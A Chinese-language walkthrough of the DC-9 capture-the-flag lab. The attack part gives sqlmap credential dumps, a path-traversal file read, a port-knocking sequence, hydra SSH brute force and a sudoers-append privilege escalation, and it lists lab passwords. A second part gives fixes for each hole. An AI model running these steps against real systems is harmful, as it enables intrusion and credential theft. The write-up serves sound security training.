DC-9靶场
信息收集
探测存活主机
nmap -sP 192.168.139.0/24发现主机探测端口和服务
nmap -sV 192.168.139.137扫描结果显示 22 端口处于 filtered 状态。
"filtered" 表示端口处于被过滤状态,扫描工具无法确定该端口是开放还是关闭。该 22 端口后续可能需要通过端口敲门(Port Knocking)才能开放,当前阶段可先访问 80 端口进行 Web 渗透。
SQL 注入
用 BurpSuite 寻找注入参数
用 SQLMap 进行 SQL 注入
爆数据库
sqlmap -u "http://192.168.139.137/results.php" --data 'search=1' --dbs爆表名
sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users --tables爆字段名
sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails --columns爆值
sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump将获取到的用户名和密码保存以备后续使用。
awk -F ',' 'NR>1{print $1}' /root/.local/share/sqlmap/output/192.168.139.137/dump/users/UserDetails.csv > ~/userlist.txt awk -F ',' 'NR>1{print $2}' /root/.local/share/sqlmap/output/192.168.139.137/dump/users/UserDetails.csv > ~/passlist.txt使用上述凭证进行爆破未获得有效登录。
切换至另一个数据库继续枚举,成功获取到新的账号密码。
sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump该哈希值为 MD5 格式,经在线解码获得明文密码:transorbital1。
使用该凭据登录 Web 后台,成功进入。
对网站功能进行全面探索后未发现更多利用点,遂转向系统层渗透,尝试对之前从数据库获取的账号密码进行爆破。
爆破未能获取有效会话。
在探索过程中发现,仅当点击进入 Manage 页面时,才会出现 Add 和 Log Out 两个操作按钮。
针对搜索栏进行路径遍历(Path Traversal)Fuzz,通过逐个递增../层级进行测试,在第四次尝试时成功定位到?file=/../../../../etc/passwd,确认存在文件包含漏洞。
网站服务判断
在返回内容中使用 Ctrl+F 搜索 "root",未发现可用信息。
由此判断读取的并非真正的 /etc/passwd 文件。既然可以利用文件包含读取任意路径文件,则直接读取 /proc/sched_debug 获取系统服务信息——该文件提供了系统中各 CPU 调度域、调度组以及任务调度的详细信息。
将内容复制到本地文件,分类筛选出已开启的服务进程。
cat a1.txt | egrep '[a-zA-Z]+' -o | sort | uniq从中发现 knockd 服务——这是一个在 Linux 系统上实现端口敲门(Port Knocking)功能的守护进程,负责监听预设的敲门序列并动态调整防火墙规则。
目标渗透
通过进一步分析 knockd 配置文件,发现需要依次敲击以下三个端口以触发 SSH 端口开放:7469、8475、9842。
使用 knock 命令执行端口敲门序列。
knock 192.168.139.137 7469 8475 9842执行完毕后重新检查 22 端口状态。
nmap -sV 192.168.139.13722 端口已成功开启。考虑到 admin 账号此时可能已无法登录,但此前 SQL 注入阶段获取的大量用户凭证或许仍然有效,可以尝试对这批账号进行 SSH 暴力破解。首先确保用户名和密码已分别保存到不同文件。
hydra -L userlist.txt -P passlist.txt ssh://192.168.139.137使用爆破得到的账号通过 SSH 登录:ssh [用户名]@192.168.139.137。
登录后未发现可用的敏感信息。
注意到当前目录下存在 .secrets-for-putin 隐藏目录,进入后发现一个名为 passwords-found-on-post-it-notes.txt 的文件,其中疑似存储了密码信息。
确认文件中包含类似密码的字符串。
cd .secrets-for-putin ls cat passwords-found-on-post-it-notes.txt提取文件中的密码追加至 password.txt,再次使用 Hydra 进行爆破,成功发现新用户。
使用新凭据成功登录。
ssh fredf@192.168.139.137执行 sudo -l 枚举当前用户可执行的 sudo 命令。
逐层排查文件系统,在 /opt/devstuff/dist/test/ 路径下发现可疑脚本 test.py。
查看脚本内容以确认其功能逻辑。
脚本逻辑为:读取第一个参数指定的文件内容,并将其追加写入第二个参数指定的文件中。
该脚本以 root 权限运行,因此可以构造提权指令,通过脚本将其追加到 /etc/sudoers 文件中。具体思路为:将fredf ALL=(ALL:ALL) ALL写入一个临时文件,再利用脚本将该内容追加到 /etc/sudoers,从而赋予 fredf 用户无限制的 sudo 权限。
nano test.txt在 test.txt 中添加以下内容:fredf ALL=(ALL:ALL) ALL。
cat test.txt利用已发现的 test 可执行文件将提权规则写入 /etc/sudoers。
sudo /opt/devstuff/dist/test/test test.txt /etc/sudoers sudo su提权成功,获取 root 权限。
结算画面
漏洞修复
靶场账号:fredf
密码:B4-Tru3-001
修复 SQL 注入和文件包含漏洞
root@dc-9:~# cd /var/www/html root@dc-9:/var/www/html# ls -la results.php -rw-r--r-- 1 root root 2282 Dec 23 2019 results.php root@dc-9:/var/www/html# nano results.php修复后的完整代码已存放于results.php.txt文件中,关键修改位置已使用//注释进行标注。
解释漏洞修复原理
一、SQL 注入漏洞
先讲清楚「原来的代码为什么有漏洞」。
SQL 注入的核心是:攻击者把"SQL 命令"伪装成"搜索内容",让数据库当成真命令执行。
原来的代码:
- 直接拿用户输入的 search(比如
1' OR '1'='1),不做任何检查。 - 直接把这个输入拼接到 SQL 语句里,变成:
SELECT * FROM StaffDetails WHERE firstname = '1' OR '1'='1' OR lastname = '1' OR '1'='1'
数据库一看'1'='1'永远成立,就把所有数据都吐出来了(脱库)。
修复:
- 第 33 行下面加过滤:先把攻击者的"工具"没收——过滤掉
'、"、OR这些 SQL 注入专用的特殊字符,用户输入的1' OR '1'='1会变成1 OR 11,没法再伪装成命令。 - 第 43-44 行替换成预编译:彻底把"数据"和"命令"分开。预编译的逻辑是「先把 SQL 语句的结构固定好,用户输入只当填空的"数据",永远不会被当成 SQL 命令的一部分」,就像考试时"题目是固定的,你只能填答案,不能改题目"。
- 最后加
mysqli_stmt_close:安全收尾,把预编译用的资源关掉,防止浪费系统资源(不影响功能,但属于安全编程习惯)。
二、文件包含
先讲清楚「原来的代码为什么有漏洞」。
文件包含的核心是:攻击者让网站去读"不该读的系统文件"(比如/etc/passwd、/etc/knockd.conf)。
原来的代码逻辑是:"如果contact-info.php不存在,就拿用户通过 URL 传的file参数,去directory/下面找文件包含进来"。
攻击者利用这个逻辑,传file=../../../../etc/passwd,directory/../../../../etc/passwd就会跳转到系统根目录,读到敏感文件。
修复:
- 第 97、98 行是"多余的危险备用逻辑":正常情况下
contact-info.php是存在的,永远不会触发这两行代码。 - 删掉后彻底断了攻击路径:没有了这两行,攻击者没法再通过 URL 传
file参数让网站读任意文件,而且网站正常功能完全不受影响。
验证
注意在重新测试的时候要删除本地缓存。
# 彻底删掉靶机对应的 sqlmap 缓存目录 rm -rf ~/.local/share/sqlmap/output/192.168.139.137 # 重新执行爆库命令,测试真实的注入情况 sqlmap -u "http://192.168.139.137/results.php" --data 'search=1' --dbs成功。
文件包含漏洞
一、先确认漏洞文件位置
默认路径:/var/www/html/manage.php
输入以下命令进入文件:
nano /var/www/html/manage.php二、极简修复步骤
- 找到危险的文件包含代码
通常在manage.php中间或末尾,找到类似这样的代码:$file = $_GET['file'];include($file);
// 或者include('directory/' . $file); - 直接删掉这两行危险代码
把光标移到第 102 行的开头,按 Alt+A(Mac 按 Option+A),开启「标记模式」(底部会显示 Mark Set)。
用方向键向下移到第 117 行的结尾,你会看到整段代码被高亮选中。
按 Ctrl+K,一次性剪切(删除)整段高亮的代码。
保存退出:按 Ctrl+O → Enter 保存,再按 Ctrl+X 退出。
重启 Apache 让配置生效:systemctl restart apache2
三、修复后验证
访问http://靶机IP/manage.php?file=../../../../etc/passwd,显示「Access denied」或空白,说明修复成功。
现在访问带 file 参数的漏洞 URL,页面只正常显示You are already logged in as admin.,完全没有出现/etc/passwd的系统用户内容,也没有出现File does not exist的提示。
数据库弱密码与权限漏洞
一、先确认数据库位置
默认用的是 MySQL/MariaDB,直接登录即可。
先查询数据库密码:
cat /var/www/html/config.php然后登录数据库:
mysql -u root -p二、极简修复步骤
- 换掉弱 MD5 密码,用强哈希
在 MySQL 命令行里执行:-- 切换到 users 数据库 USE users; -- 给 UserDetails 表加个新的强密码字段 ALTER TABLE UserDetails ADD COLUMN new_pass VARCHAR(255) NOT NULL AFTER password; -- 示例:更新 admin 的密码(实际要批量更新所有用户) -- 注意:new_pass 的值要在 PHP 里用 password_hash('强密码', PASSWORD_BCRYPT) 生成 UPDATE UserDetails SET new_pass = '$2y$10$YourStrongBcryptHashHere' WHERE username = 'admin'; -- 删掉旧的弱 MD5 密码字段 ALTER TABLE UserDetails DROP COLUMN password; -- 把新字段改回原名 ALTER TABLE UserDetails CHANGE COLUMN new_pass password VARCHAR(255) NOT NULL; - 建个低权限的 Web 数据库账号
继续在 MySQL 里执行:-- 建个只能查、改的普通账号(别用 root) CREATE USER 'web_user'@'localhost' IDENTIFIED BY 'Strong_DB_Pass_123!'; -- 只给必需的权限,不给删库、改结构的权限 GRANT SELECT, INSERT ON users.UserDetails TO 'web_user'@'localhost'; GRANT SELECT, INSERT ON Staff.StaffDetails TO 'web_user'@'localhost'; -- 生效 FLUSH PRIVILEGES; EXIT; - 更新 Web 配置文件里的数据库账号
找到/var/www/html/config.php,把里面的数据库账号密码换成刚才建的web_user和强密码。
重启 Apache,让新的数据库配置立刻生效:systemctl restart apache2
验证
为了彻底排除 sqlmap 漏报的可能,你可以执行这条更高强度的注入测试命令,覆盖更全面的注入场景:
sqlmap -u "http://靶机IP/results.php" --data "search=1" --level 3 --risk 3 --current-user--level 3:增加测试的参数和注入点覆盖范围--risk 3:开启高风险的注入测试语句
如果执行后依然提示all tested parameters do not appear to be injectable,就 100% 确认 SQL 注入漏洞已经彻底修复,攻击者再也无法通过这个页面进行注入攻击。
端口敲门配置 + SSH 服务漏洞
一、先修「端口敲门配置泄露漏洞」
漏洞根源:之前就是通过manage.php的文件包含,直接读到了/etc/knockd.conf,拿到了开门的端口序列,才打开了 SSH 的 22 端口。
- 先锁死配置文件权限(只有 root 能看,杜绝泄露)
chmod 600 /etc/knockd.conf - 换掉泄露的敲门序列
打开配置文件:nano /etc/knockd.conf
找到核心配置,直接修改:
把[openSSH]里的sequence改成(示例):sequence = 31247,18956,42781
把[closeSSH]里的sequence改成反向:sequence = 42781,18956,31247
把seq_timeout从 25 改成 10,攻击者只有 10 秒时间完成敲门,试错空间大幅缩小:seq_timeout = 10
开门后自动关门(不用手动敲反向序列):
在[openSSH]的command后面加个自动删除规则的命令,10 分钟后自动封 SSH:command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT && (sleep 600 && /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT) &
开启敲门日志(知道谁在尝试敲门):
最后重启服务生效:systemctl restart knockd
防御效果总结:更换后的端口序列需要在 10 秒内完成敲门才能打开 SSH,10 分钟后还会自动关门,攻击者几乎没有可乘之机。
二、再修「SSH 弱口令 + 爆破漏洞」
漏洞根源:使用 Hydra 爆破成功,就是因为系统用户全是弱口令,而且 SSH 允许密码登录,一撞就中。
- 彻底杜绝密码爆破:禁用密码登录,只允许密钥登录
打开 SSH 配置文件:nano /etc/ssh/sshd_config
找到以下两行核心配置,修改成:# 禁用密码登录,只允许密钥登录(前面有 # 就删掉 #) PasswordAuthentication no # 禁止 root 直接 SSH 登录 PermitRootLogin no - 重启 SSH 生效
如果觉得密钥登录太麻烦,可以直接装 fail2ban 一键防爆破:systemctl restart sshd
自动拦截 5 次登录失败的 IP,直接杜绝暴力破解。你自己用密钥或强密码照样能正常登录,但攻击者再也没法用弱口令爆破,直接会被 fail2ban 自动拦截。apt install fail2ban -y && systemctl enable --now fail2ban